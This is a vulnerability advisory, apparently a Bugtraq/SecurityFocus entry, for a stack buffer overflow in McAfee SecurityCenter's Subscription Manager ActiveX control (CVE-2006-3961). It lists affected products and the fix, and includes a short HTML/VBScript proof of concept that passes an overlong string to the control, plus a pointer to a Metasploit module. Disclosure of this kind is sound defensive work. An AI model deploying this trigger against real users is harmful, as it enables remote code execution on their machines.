McAfee SecurityCenter Subscription Manager ActiveX Buffer Overflow Vulnerability

Bugtraq ID:	19265
Class:	Boundary Condition Error
CVE:	CVE-2006-3961
Remote:	Yes
Local:	No
Published:	Aug 01 2006 12:00AM
Updated:	Jul 03 2007 07:18PM
Credit:	Discovered by eEye Digital Security.
Vulnerable:	McAfee Wireless Home Network Security 2006 McAfee VirusScan 2006 McAfee VirusScan 2005 McAfee VirusScan 2004 McAfee SpamKiller 2006 McAfee SpamKiller 2005 McAfee SpamKiller 2004 McAfee SecurityCenter 6.0.22 McAfee SecurityCenter 6.0 McAfee SecurityCenter 4.3 McAfee QuickClean 2006 McAfee QuickClean 2005 McAfee QuickClean 2004 McAfee Privacy Service 2006 McAfee Privacy Service 2005 McAfee Privacy Service 2004 McAfee Personal Firewall Plus 2006 McAfee Personal Firewall Plus 2005 McAfee Personal Firewall Plus 2004 McAfee Internet Security Suite 2006 0 McAfee Internet Security Suite 2005 McAfee Internet Security Suite 2004 McAfee AntiSpyware 2006 McAfee AntiSpyware 2005
Not Vulnerable:	McAfee SecurityCenter 7.0

McAfee SecurityCenter Subscription Manager ActiveX Buffer Overflow Vulnerability

McAfee SecurityCenter is prone to a stack-based buffer-overflow vulnerability. This vulnerability requires a certain amount of user-interaction for an attack to occur, such as visiting a malicious website. A successful exploit would let a remote attacker execute code with the privileges of the currently logged in user.

This issue is reported to affect versions 4.3 through 6.0.22. Please see the affected packages section for a list of McAfee consumer products that ship with vulnerable versions of the McAfee SecurityCenter.

McAfee SecurityCenter Subscription Manager ActiveX Buffer Overflow Vulnerability

The following proof-of-concept and Metasploit exploit module are available:

<object classid='clsid:9BE8D7B2-329C-442A-A4AC-ABA9D7572602' id='Red'
></object>
GK=String(165001, "a")
Red.IsAppExpired GK

• /data/vulnerabilities/exploits/mcafee_mcsubmgr_vsprintf.rb

McAfee SecurityCenter Subscription Manager ActiveX Buffer Overflow Vulnerability

Solution:
This issue has been addressed in SecurityCenter 7.0. Please see the vendor advisory for information on obtaining fixes.

McAfee SecurityCenter Subscription Manager ActiveX Buffer Overflow Vulnerability

References:

• EEYEB-20060719 (eEye Digital Security)
  
• McAfee Homepage (McAfee)
  
• McAfee SecurityCenter 7.0 or higher fixes vulnerability (McAfee)
  
• [EEYEB-20060719] McAfee Subscription Manager Stack Buffer Overflow (eEye Advisories)